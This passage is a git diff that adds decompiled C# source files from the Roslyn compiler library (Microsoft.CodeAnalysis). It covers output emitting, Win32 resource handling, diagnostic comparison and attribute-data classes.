CompilerEmitStreamProvider(this, pdbFilePath) : null); + string outputRefFilePath = Arguments.OutputRefFilePath; + CompilerEmitStreamProvider compilerEmitStreamProvider3 = ((outputRefFilePath != null) ? new CompilerEmitStreamProvider(this, outputRefFilePath) : null); + RSAParameters? privateKeyOpt = null; + if (compilation.Options.StrongNameProvider != null && compilation.SignUsingBuilder && !compilation.Options.PublicSign) + { + privateKeyOpt = compilation.StrongNameKeys.PrivateKey; + } + emitOptions = emitOptions.WithFallbackSourceFileEncoding(GetFallbackEncoding()); + flag2 = compilation.SerializeToPeStream(commonPEModuleBuilder, compilerEmitStreamProvider, compilerEmitStreamProvider3, compilerEmitStreamProvider2, null, null, diagnostics, emitOptions, privateKeyOpt, cancellationToken); + compilerEmitStreamProvider.Close(diagnostics); + compilerEmitStreamProvider3?.Close(diagnostics); + compilerEmitStreamProvider2?.Close(diagnostics); + if (flag2 && touchedFilesLogger != null) + { + if (compilerEmitStreamProvider2 != null) + { + touchedFilesLogger.AddWritten(pdbFilePath); + } + if (compilerEmitStreamProvider3 != null) + { + touchedFilesLogger.AddWritten(outputRefFilePath); + } + touchedFilesLogger.AddWritten(outputFilePath); + } + } + } + if (HasUnsuppressableErrors(diagnostics)) + { + return; + } + } + finally + { + noThrowStreamDisposer?.Dispose(); + } + if (noThrowStreamDisposer != null && noThrowStreamDisposer.HasFailedToDispose) + { + return; + } + cancellationToken.ThrowIfCancellationRequested(); + if (diagnosticBag != null) + { + diagnostics.AddRange(diagnosticBag); + if (HasUnsuppressableErrors(diagnosticBag)) + { + return; + } + } + cancellationToken.ThrowIfCancellationRequested(); + WriteTouchedFiles(diagnostics, touchedFilesLogger, documentationPath); + } + + protected virtual AnalyzerOptions CreateAnalyzerOptions(ImmutableArray additionalTextFiles, AnalyzerConfigOptionsProvider analyzerConfigOptionsProvider) + { + return new AnalyzerOptions(additionalTextFiles, analyzerConfigOptionsProvider); + } + + protected virtual void AddAnalyzerDescriptorsAndExecutionTime(ErrorLogger errorLogger, ImmutableArray<(DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info)> descriptorsWithInfo, double totalAnalyzerExecutionTime) + { + errorLogger.AddAnalyzerDescriptorsAndExecutionTime(descriptorsWithInfo, totalAnalyzerExecutionTime); + } + + private bool WriteTouchedFiles(DiagnosticBag diagnostics, TouchedFileLogger? touchedFilesLogger, string? finalXmlFilePath) + { + if (Arguments.TouchedFilesPath != null) + { + if (finalXmlFilePath != null) + { + touchedFilesLogger.AddWritten(finalXmlFilePath); + } + string text = Arguments.TouchedFilesPath + ".read"; + string text2 = Arguments.TouchedFilesPath + ".write"; + Stream stream = OpenFile(text, diagnostics, FileMode.OpenOrCreate); + Stream stream2 = OpenFile(text2, diagnostics, FileMode.OpenOrCreate); + if (stream == null || stream2 == null) + { + return false; + } + string filePath = null; + try + { + filePath = text; + using (StreamWriter s = new StreamWriter(stream)) + { + touchedFilesLogger.WriteReadPaths(s); + } + filePath = text2; + using StreamWriter s2 = new StreamWriter(stream2); + touchedFilesLogger.WriteWrittenPaths(s2); + } + catch (Exception e) + { + MessageProvider.ReportStreamWriteException(e, filePath, diagnostics); + return false; + } + } + return true; + } + + protected virtual ImmutableArray ResolveAdditionalFilesFromArguments(List diagnostics, CommonMessageProvider messageProvider, TouchedFileLogger? touchedFilesLogger) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + HashSet hashSet = new HashSet(PathUtilities.Comparer); + ImmutableArray.Enumerator enumerator = Arguments.AdditionalFiles.GetEnumerator(); + while (enumerator.MoveNext()) + { + CommandLineSourceFile current = enumerator.Current; + if (hashSet.Add(PathUtilities.ExpandAbsolutePathWithRelativeParts(current.Path))) + { + instance.Add(new AdditionalTextFile(current, this)); + } + } + return instance.ToImmutableAndFree(); + } + + protected abstract string GetOutputFileName(Compilation compilation, CancellationToken cancellationToken); + + private Stream? OpenFile(string filePath, DiagnosticBag diagnostics, FileMode mode = FileMode.Open, FileAccess access = FileAccess.ReadWrite, FileShare share = FileShare.None) + { + try + { + return FileSystem.OpenFile(filePath, mode, access, share); + } + catch (Exception e) + { + MessageProvider.ReportStreamWriteException(e, filePath, diagnostics); + return null; + } + } + + internal static Stream? GetWin32ResourcesInternal(ICommonCompilerFileSystem fileSystem, CommonMessageProvider messageProvider, CommandLineArguments arguments, Compilation compilation, out IEnumerable errors) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + Stream? win32Resources = GetWin32Resources(fileSystem, messageProvider, arguments, compilation, instance); + errors = instance.ToReadOnlyAndFree().SelectAsArray((Diagnostic diag) => new DiagnosticInfo(messageProvider, diag.IsWarningAsError, diag.Code, (object[])diag.Arguments)); + return win32Resources; + } + + private static Stream? GetWin32Resources(ICommonCompilerFileSystem fileSystem, CommonMessageProvider messageProvider, CommandLineArguments arguments, Compilation compilation, DiagnosticBag diagnostics) + { + if (arguments.Win32ResourceFile != null) + { + return OpenStream(fileSystem, messageProvider, arguments.Win32ResourceFile, arguments.BaseDirectory, messageProvider.ERR_CantOpenWin32Resource, diagnostics); + } + using (Stream manifestContents = OpenManifestStream(fileSystem, messageProvider, compilation.Options.OutputKind, arguments, diagnostics)) + { + using Stream iconInIcoFormat = OpenStream(fileSystem, messageProvider, arguments.Win32Icon, arguments.BaseDirectory, messageProvider.ERR_CantOpenWin32Icon, diagnostics); + try + { + return compilation.CreateDefaultWin32Resources(versionResource: true, arguments.NoWin32Manifest, manifestContents, iconInIcoFormat); + } + catch (Exception ex) + { + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_ErrorBuildingWin32Resource, Location.None, ex.Message)); + } + } + return null; + } + + private static Stream? OpenManifestStream(ICommonCompilerFileSystem fileSystem, CommonMessageProvider messageProvider, OutputKind outputKind, CommandLineArguments arguments, DiagnosticBag diagnostics) + { + if (!outputKind.IsNetModule()) + { + return OpenStream(fileSystem, messageProvider, arguments.Win32Manifest, arguments.BaseDirectory, messageProvider.ERR_CantOpenWin32Manifest, diagnostics); + } + return null; + } + + private static Stream? OpenStream(ICommonCompilerFileSystem fileSystem, CommonMessageProvider messageProvider, string? path, string? baseDirectory, int errorCode, DiagnosticBag diagnostics) + { + if (path == null) + { + return null; + } + string text = ResolveRelativePath(messageProvider, path, baseDirectory, diagnostics); + if (text == null) + { + return null; + } + try + { + return fileSystem.OpenFile(text, FileMode.Open, FileAccess.Read, FileShare.Read); + } + catch (Exception ex) + { + diagnostics.Add(messageProvider.CreateDiagnostic(errorCode, Location.None, text, ex.Message)); + } + return null; + } + + private static string? ResolveRelativePath(CommonMessageProvider messageProvider, string path, string? baseDirectory, DiagnosticBag diagnostics) + { + string text = FileUtilities.ResolveRelativePath(path, baseDirectory); + if (text == null) + { + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.FTL_InvalidInputFileName, Location.None, path ?? "")); + } + return text; + } + + internal static bool TryGetCompilerDiagnosticCode(string diagnosticId, string expectedPrefix, out uint code) + { + code = 0u; + if (diagnosticId.StartsWith(expectedPrefix, StringComparison.Ordinal)) + { + return uint.TryParse(diagnosticId.Substring(expectedPrefix.Length), out code); + } + return false; + } + + private void EmitDeterminismKey(Compilation compilation, ICommonCompilerFileSystem fileSystem, ImmutableArray additionalTexts, ImmutableArray analyzers, ImmutableArray generators, ImmutableArray> pathMap, EmitOptions? emitOptions) + { + string deterministicKey = compilation.GetDeterministicKey(additionalTexts, analyzers, generators, pathMap, emitOptions); + string filePath = Path.Combine(Arguments.OutputDirectory, Arguments.OutputFileName + ".key"); + using Stream stream = fileSystem.OpenFile(filePath, FileMode.Create, FileAccess.ReadWrite, FileShare.None); + byte[] bytes = Encoding.UTF8.GetBytes(deterministicKey); + stream.Write(bytes, 0, bytes.Length); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonDiagnosticComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonDiagnosticComparer.cs new file mode 100644 index 0000000..1955293 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonDiagnosticComparer.cs @@ -0,0 +1,39 @@ +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class CommonDiagnosticComparer : IEqualityComparer +{ + internal static readonly CommonDiagnosticComparer Instance = new CommonDiagnosticComparer(); + + private CommonDiagnosticComparer() + { + } + + public bool Equals(Diagnostic? x, Diagnostic? y) + { + if (x == y) + { + return true; + } + if (x == null || y == null) + { + return false; + } + if (x.Location == y.Location) + { + return x.Id == y.Id; + } + return false; + } + + public int GetHashCode(Diagnostic obj) + { + if (obj == null) + { + return 0; + } + return Hash.Combine(obj.Location, obj.Id.GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonEventEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonEventEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..e6466cc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonEventEarlyWellKnownAttributeData.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis; + +internal class CommonEventEarlyWellKnownAttributeData : EarlyWellKnownAttributeData +{ + private ObsoleteAttributeData _obsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + public ObsoleteAttributeData ObsoleteAttributeData + { + get + { + if (!_obsoleteAttributeData.IsUninitialized) + { + return _obsoleteAttributeData; + } + return null; + } + set + { + _obsoleteAttributeData = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonEventWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonEventWellKnownAttributeData.cs new file mode 100644 index 0000000..84ad3ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonEventWellKnownAttributeData.cs @@ -0,0 +1,46 @@ +namespace Microsoft.CodeAnalysis; + +internal class CommonEventWellKnownAttributeData : WellKnownAttributeData, ISkipLocalsInitAttributeTarget +{ + private bool _hasSpecialNameAttribute; + + private bool _hasExcludeFromCodeCoverageAttribute; + + private bool _hasSkipLocalsInitAttribute; + + public bool HasSpecialNameAttribute + { + get + { + return _hasSpecialNameAttribute; + } + set + { + _hasSpecialNameAttribute = value; + } + } + + public bool HasExcludeFromCodeCoverageAttribute + { + get + { + return _hasExcludeFromCodeCoverageAttribute; + } + set + { + _hasExcludeFromCodeCoverageAttribute = value; + } + } + + public bool HasSkipLocalsInitAttribute + { + get + { + return _hasSkipLocalsInitAttribute; + } + set + { + _hasSkipLocalsInitAttribute = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonFieldEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonFieldEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..7ce71ee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonFieldEarlyWellKnownAttributeData.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis; + +internal class CommonFieldEarlyWellKnownAttributeData : EarlyWellKnownAttributeData +{ + private ObsoleteAttributeData _obsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + public ObsoleteAttributeData ObsoleteAttributeData + { + get + { + if (!_obsoleteAttributeData.IsUninitialized) + { + return _obsoleteAttributeData; + } + return null; + } + set + { + _obsoleteAttributeData = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonFieldWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonFieldWellKnownAttributeData.cs new file mode 100644 index 0000000..d4bbaf2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonFieldWellKnownAttributeData.cs @@ -0,0 +1,85 @@ +namespace Microsoft.CodeAnalysis; + +internal class CommonFieldWellKnownAttributeData : WellKnownAttributeData, IMarshalAsAttributeTarget +{ + private int _offset; + + private const int Uninitialized = -1; + + private ConstantValue _constValue = ConstantValue.Unset; + + private bool _hasSpecialNameAttribute; + + private bool _hasNonSerializedAttribute; + + private MarshalPseudoCustomAttributeData _lazyMarshalAsData; + + public int? Offset + { + get + { + if (_offset == -1) + { + return null; + } + return _offset; + } + } + + public ConstantValue ConstValue + { + get + { + return _constValue; + } + set + { + _constValue = value; + } + } + + public bool HasSpecialNameAttribute + { + get + { + return _hasSpecialNameAttribute; + } + set + { + _hasSpecialNameAttribute = value; + } + } + + public bool HasNonSerializedAttribute + { + get + { + return _hasNonSerializedAttribute; + } + set + { + _hasNonSerializedAttribute = value; + } + } + + public MarshalPseudoCustomAttributeData MarshallingInformation => _lazyMarshalAsData; + + public CommonFieldWellKnownAttributeData() + { + _offset = -1; + } + + public void SetFieldOffset(int offset) + { + _offset = offset; + } + + MarshalPseudoCustomAttributeData IMarshalAsAttributeTarget.GetOrCreateData() + { + if (_lazyMarshalAsData == null) + { + _lazyMarshalAsData = new MarshalPseudoCustomAttributeData(); + } + return _lazyMarshalAsData; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMessageProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMessageProvider.cs new file mode 100644 index 0000000..dc4433e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMessageProvider.cs @@ -0,0 +1,289 @@ +using System; +using System.Collections.Concurrent; +using System.Globalization; + +namespace Microsoft.CodeAnalysis; + +internal abstract class CommonMessageProvider +{ + private static readonly ConcurrentDictionary<(string prefix, int code), string> s_errorIdCache = new ConcurrentDictionary<(string, int), string>(); + + public abstract string CodePrefix { get; } + + public abstract Type ErrorCodeType { get; } + + public abstract int ERR_FailedToCreateTempFile { get; } + + public abstract int ERR_MultipleAnalyzerConfigsInSameDir { get; } + + public abstract int ERR_ExpectedSingleScript { get; } + + public abstract int ERR_OpenResponseFile { get; } + + public abstract int ERR_InvalidPathMap { get; } + + public abstract int FTL_InvalidInputFileName { get; } + + public abstract int ERR_FileNotFound { get; } + + public abstract int ERR_NoSourceFile { get; } + + public abstract int ERR_CantOpenFileWrite { get; } + + public abstract int ERR_OutputWriteFailed { get; } + + public abstract int WRN_NoConfigNotOnCommandLine { get; } + + public abstract int ERR_BinaryFile { get; } + + public abstract int WRN_UnableToLoadAnalyzer { get; } + + public abstract int INF_UnableToLoadSomeTypesInAnalyzer { get; } + + public abstract int WRN_AnalyzerCannotBeCreated { get; } + + public abstract int WRN_NoAnalyzerInAssembly { get; } + + public abstract int WRN_AnalyzerReferencesFramework { get; } + + public abstract int WRN_AnalyzerReferencesNewerCompiler { get; } + + public abstract int WRN_DuplicateAnalyzerReference { get; } + + public abstract int ERR_CantReadRulesetFile { get; } + + public abstract int ERR_CompileCancelled { get; } + + public abstract int ERR_BadSourceCodeKind { get; } + + public abstract int ERR_BadDocumentationMode { get; } + + public abstract int ERR_BadCompilationOptionValue { get; } + + public abstract int ERR_MutuallyExclusiveOptions { get; } + + public abstract int ERR_InvalidDebugInformationFormat { get; } + + public abstract int ERR_InvalidFileAlignment { get; } + + public abstract int ERR_InvalidSubsystemVersion { get; } + + public abstract int ERR_InvalidOutputName { get; } + + public abstract int ERR_InvalidInstrumentationKind { get; } + + public abstract int ERR_InvalidHashAlgorithmName { get; } + + public abstract int ERR_MetadataFileNotAssembly { get; } + + public abstract int ERR_MetadataFileNotModule { get; } + + public abstract int ERR_InvalidAssemblyMetadata { get; } + + public abstract int ERR_InvalidModuleMetadata { get; } + + public abstract int ERR_ErrorOpeningAssemblyFile { get; } + + public abstract int ERR_ErrorOpeningModuleFile { get; } + + public abstract int ERR_MetadataFileNotFound { get; } + + public abstract int ERR_MetadataReferencesNotSupported { get; } + + public abstract int ERR_LinkedNetmoduleMetadataMustProvideFullPEImage { get; } + + public abstract int ERR_PublicKeyFileFailure { get; } + + public abstract int ERR_PublicKeyContainerFailure { get; } + + public abstract int ERR_OptionMustBeAbsolutePath { get; } + + public abstract int ERR_CantReadResource { get; } + + public abstract int ERR_CantOpenWin32Resource { get; } + + public abstract int ERR_CantOpenWin32Manifest { get; } + + public abstract int ERR_CantOpenWin32Icon { get; } + + public abstract int ERR_BadWin32Resource { get; } + + public abstract int ERR_ErrorBuildingWin32Resource { get; } + + public abstract int ERR_ResourceNotUnique { get; } + + public abstract int ERR_ResourceFileNameNotUnique { get; } + + public abstract int ERR_ResourceInModule { get; } + + public abstract int ERR_PermissionSetAttributeFileReadError { get; } + + public abstract int ERR_EncodinglessSyntaxTree { get; } + + public abstract int WRN_PdbUsingNameTooLong { get; } + + public abstract int WRN_PdbLocalNameTooLong { get; } + + public abstract int ERR_PdbWritingFailed { get; } + + public abstract int ERR_MetadataNameTooLong { get; } + + public abstract int ERR_EncReferenceToAddedMember { get; } + + public abstract int ERR_TooManyUserStrings { get; } + + public abstract int ERR_PeWritingFailure { get; } + + public abstract int ERR_ModuleEmitFailure { get; } + + public abstract int ERR_EncUpdateFailedMissingAttribute { get; } + + public abstract int ERR_InvalidDebugInfo { get; } + + public abstract int ERR_FunctionPointerTypesInAttributeNotSupported { get; } + + public abstract int WRN_GeneratorFailedDuringInitialization { get; } + + public abstract int WRN_GeneratorFailedDuringGeneration { get; } + + public abstract int ERR_BadAssemblyName { get; } + + public abstract int? WRN_ByValArraySizeConstRequired { get; } + + public abstract DiagnosticSeverity GetSeverity(int code); + + public abstract string LoadMessage(int code, CultureInfo? language); + + public abstract LocalizableString GetTitle(int code); + + public abstract LocalizableString GetDescription(int code); + + public abstract LocalizableString GetMessageFormat(int code); + + public abstract string GetHelpLink(int code); + + public abstract string GetCategory(int code); + + public abstract int GetWarningLevel(int code); + + public Diagnostic CreateDiagnostic(int code, Location location) + { + return CreateDiagnostic(code, location, Array.Empty()); + } + + public abstract Diagnostic CreateDiagnostic(DiagnosticInfo info); + + public abstract Diagnostic CreateDiagnostic(int code, Location location, params object[] args); + + public abstract string GetMessagePrefix(string id, DiagnosticSeverity severity, bool isWarningAsError, CultureInfo? culture); + + public abstract string GetErrorDisplayString(ISymbol symbol); + + public abstract bool GetIsEnabledByDefault(int code); + + public string GetIdForErrorCode(int errorCode) + { + return s_errorIdCache.GetOrAdd((CodePrefix, errorCode), ((string prefix, int code) key) => key.prefix + key.code.ToString("0000")); + } + + public abstract ReportDiagnostic GetDiagnosticReport(DiagnosticInfo diagnosticInfo, CompilationOptions options); + + public DiagnosticInfo? FilterDiagnosticInfo(DiagnosticInfo diagnosticInfo, CompilationOptions options) + { + return GetDiagnosticReport(diagnosticInfo, options) switch + { + ReportDiagnostic.Error => diagnosticInfo.GetInstanceWithSeverity(DiagnosticSeverity.Error), + ReportDiagnostic.Warn => diagnosticInfo.GetInstanceWithSeverity(DiagnosticSeverity.Warning), + ReportDiagnostic.Info => diagnosticInfo.GetInstanceWithSeverity(DiagnosticSeverity.Info), + ReportDiagnostic.Hidden => diagnosticInfo.GetInstanceWithSeverity(DiagnosticSeverity.Hidden), + ReportDiagnostic.Suppress => null, + _ => diagnosticInfo, + }; + } + + public abstract void ReportDuplicateMetadataReferenceStrong(DiagnosticBag diagnostics, Location location, MetadataReference reference, AssemblyIdentity identity, MetadataReference equivalentReference, AssemblyIdentity equivalentIdentity); + + public abstract void ReportDuplicateMetadataReferenceWeak(DiagnosticBag diagnostics, Location location, MetadataReference reference, AssemblyIdentity identity, MetadataReference equivalentReference, AssemblyIdentity equivalentIdentity); + + public void ReportStreamWriteException(Exception e, string filePath, DiagnosticBag diagnostics) + { + diagnostics.Add(CreateDiagnostic(ERR_OutputWriteFailed, Location.None, filePath, e.Message)); + } + + protected abstract void ReportInvalidAttributeArgument(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, AttributeData attribute); + + public void ReportInvalidAttributeArgument(BindingDiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, AttributeData attribute) + { + DiagnosticBag diagnosticBag = diagnostics.DiagnosticBag; + if (diagnosticBag != null) + { + ReportInvalidAttributeArgument(diagnosticBag, attributeSyntax, parameterIndex, attribute); + } + } + + protected abstract void ReportInvalidNamedArgument(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int namedArgumentIndex, ITypeSymbol attributeClass, string parameterName); + + public void ReportInvalidNamedArgument(BindingDiagnosticBag diagnostics, SyntaxNode attributeSyntax, int namedArgumentIndex, ITypeSymbol attributeClass, string parameterName) + { + DiagnosticBag diagnosticBag = diagnostics.DiagnosticBag; + if (diagnosticBag != null) + { + ReportInvalidNamedArgument(diagnosticBag, attributeSyntax, namedArgumentIndex, attributeClass, parameterName); + } + } + + protected abstract void ReportParameterNotValidForType(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int namedArgumentIndex); + + public void ReportParameterNotValidForType(BindingDiagnosticBag diagnostics, SyntaxNode attributeSyntax, int namedArgumentIndex) + { + DiagnosticBag diagnosticBag = diagnostics.DiagnosticBag; + if (diagnosticBag != null) + { + ReportParameterNotValidForType(diagnosticBag, attributeSyntax, namedArgumentIndex); + } + } + + protected abstract void ReportMarshalUnmanagedTypeNotValidForFields(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, string unmanagedTypeName, AttributeData attribute); + + public void ReportMarshalUnmanagedTypeNotValidForFields(BindingDiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, string unmanagedTypeName, AttributeData attribute) + { + DiagnosticBag diagnosticBag = diagnostics.DiagnosticBag; + if (diagnosticBag != null) + { + ReportMarshalUnmanagedTypeNotValidForFields(diagnosticBag, attributeSyntax, parameterIndex, unmanagedTypeName, attribute); + } + } + + protected abstract void ReportMarshalUnmanagedTypeOnlyValidForFields(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, string unmanagedTypeName, AttributeData attribute); + + public void ReportMarshalUnmanagedTypeOnlyValidForFields(BindingDiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, string unmanagedTypeName, AttributeData attribute) + { + DiagnosticBag diagnosticBag = diagnostics.DiagnosticBag; + if (diagnosticBag != null) + { + ReportMarshalUnmanagedTypeOnlyValidForFields(diagnosticBag, attributeSyntax, parameterIndex, unmanagedTypeName, attribute); + } + } + + protected abstract void ReportAttributeParameterRequired(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, string parameterName); + + public void ReportAttributeParameterRequired(BindingDiagnosticBag diagnostics, SyntaxNode attributeSyntax, string parameterName) + { + DiagnosticBag diagnosticBag = diagnostics.DiagnosticBag; + if (diagnosticBag != null) + { + ReportAttributeParameterRequired(diagnosticBag, attributeSyntax, parameterName); + } + } + + protected abstract void ReportAttributeParameterRequired(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, string parameterName1, string parameterName2); + + public void ReportAttributeParameterRequired(BindingDiagnosticBag diagnostics, SyntaxNode attributeSyntax, string parameterName1, string parameterName2) + { + DiagnosticBag diagnosticBag = diagnostics.DiagnosticBag; + if (diagnosticBag != null) + { + ReportAttributeParameterRequired(diagnosticBag, attributeSyntax, parameterName1, parameterName2); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMethodEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMethodEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..e4f97b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMethodEarlyWellKnownAttributeData.cs @@ -0,0 +1,47 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal class CommonMethodEarlyWellKnownAttributeData : EarlyWellKnownAttributeData +{ + private ImmutableArray _lazyConditionalSymbols = ImmutableArray.Empty; + + private ObsoleteAttributeData _obsoleteAttributeData = Microsoft.CodeAnalysis.ObsoleteAttributeData.Uninitialized; + + private bool _hasSetsRequiredMembers; + + public ImmutableArray ConditionalSymbols => _lazyConditionalSymbols; + + public ObsoleteAttributeData? ObsoleteAttributeData + { + get + { + if (!_obsoleteAttributeData.IsUninitialized) + { + return _obsoleteAttributeData; + } + return null; + } + set + { + _obsoleteAttributeData = value; + } + } + + public bool HasSetsRequiredMembersAttribute + { + get + { + return _hasSetsRequiredMembers; + } + set + { + _hasSetsRequiredMembers = value; + } + } + + public void AddConditionalSymbol(string? name) + { + _lazyConditionalSymbols = _lazyConditionalSymbols.Add(name); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMethodWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMethodWellKnownAttributeData.cs new file mode 100644 index 0000000..a9e7c10 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonMethodWellKnownAttributeData.cs @@ -0,0 +1,159 @@ +using System.Reflection; + +namespace Microsoft.CodeAnalysis; + +internal class CommonMethodWellKnownAttributeData : WellKnownAttributeData, ISecurityAttributeTarget +{ + private readonly bool _preserveSigFirstWriteWins; + + private DllImportData? _platformInvokeInfo; + + private bool _dllImportPreserveSig; + + private int _dllImportIndex; + + private int _methodImplIndex; + + private MethodImplAttributes _attributes; + + private int _preserveSigIndex; + + private bool _hasSpecialNameAttribute; + + private bool _hasDynamicSecurityMethodAttribute; + + private bool _hasSuppressUnmanagedCodeSecurityAttribute; + + private SecurityWellKnownAttributeData? _lazySecurityAttributeData; + + private bool _hasExcludeFromCodeCoverageAttribute; + + public DllImportData? DllImportPlatformInvokeData => _platformInvokeInfo; + + public MethodImplAttributes MethodImplAttributes + { + get + { + MethodImplAttributes methodImplAttributes = _attributes; + if (_dllImportPreserveSig || _preserveSigIndex >= 0) + { + methodImplAttributes |= MethodImplAttributes.PreserveSig; + } + if (_dllImportIndex >= 0 && !_dllImportPreserveSig) + { + if (_preserveSigFirstWriteWins) + { + if ((_preserveSigIndex == -1 || _dllImportIndex < _preserveSigIndex) && (_methodImplIndex == -1 || (_attributes & MethodImplAttributes.PreserveSig) == 0 || _dllImportIndex < _methodImplIndex)) + { + methodImplAttributes &= (MethodImplAttributes)(-129); + } + } + else if (_dllImportIndex > _preserveSigIndex && (_dllImportIndex > _methodImplIndex || (_attributes & MethodImplAttributes.PreserveSig) == 0)) + { + methodImplAttributes &= (MethodImplAttributes)(-129); + } + } + return methodImplAttributes; + } + } + + public bool HasSpecialNameAttribute + { + get + { + return _hasSpecialNameAttribute; + } + set + { + _hasSpecialNameAttribute = value; + } + } + + public bool HasDynamicSecurityMethodAttribute + { + get + { + return _hasDynamicSecurityMethodAttribute; + } + set + { + _hasDynamicSecurityMethodAttribute = value; + } + } + + public bool HasSuppressUnmanagedCodeSecurityAttribute + { + get + { + return _hasSuppressUnmanagedCodeSecurityAttribute; + } + set + { + _hasSuppressUnmanagedCodeSecurityAttribute = value; + } + } + + internal bool HasDeclarativeSecurity + { + get + { + if (_lazySecurityAttributeData == null) + { + return HasSuppressUnmanagedCodeSecurityAttribute; + } + return true; + } + } + + public SecurityWellKnownAttributeData? SecurityInformation => _lazySecurityAttributeData; + + public bool HasExcludeFromCodeCoverageAttribute + { + get + { + return _hasExcludeFromCodeCoverageAttribute; + } + set + { + _hasExcludeFromCodeCoverageAttribute = value; + } + } + + public CommonMethodWellKnownAttributeData(bool preserveSigFirstWriteWins) + { + _preserveSigFirstWriteWins = preserveSigFirstWriteWins; + _dllImportIndex = (_methodImplIndex = (_preserveSigIndex = -1)); + } + + public CommonMethodWellKnownAttributeData() + : this(preserveSigFirstWriteWins: false) + { + } + + public void SetPreserveSignature(int attributeIndex) + { + _preserveSigIndex = attributeIndex; + } + + public void SetMethodImplementation(int attributeIndex, MethodImplAttributes attributes) + { + _attributes = attributes; + _methodImplIndex = attributeIndex; + } + + public void SetDllImport(int attributeIndex, string? moduleName, string? entryPointName, MethodImportAttributes flags, bool preserveSig) + { + _platformInvokeInfo = new DllImportData(moduleName, entryPointName, flags); + _dllImportIndex = attributeIndex; + _dllImportPreserveSig = preserveSig; + } + + SecurityWellKnownAttributeData ISecurityAttributeTarget.GetOrCreateData() + { + if (_lazySecurityAttributeData == null) + { + _lazySecurityAttributeData = new SecurityWellKnownAttributeData(); + } + return _lazySecurityAttributeData; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonModuleCompilationState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonModuleCompilationState.cs new file mode 100644 index 0000000..d1dda57 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonModuleCompilationState.cs @@ -0,0 +1,16 @@ +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal class CommonModuleCompilationState +{ + private bool _frozen; + + internal bool Frozen => _frozen; + + internal void Freeze() + { + Interlocked.MemoryBarrier(); + _frozen = true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonModuleWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonModuleWellKnownAttributeData.cs new file mode 100644 index 0000000..679fdb0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonModuleWellKnownAttributeData.cs @@ 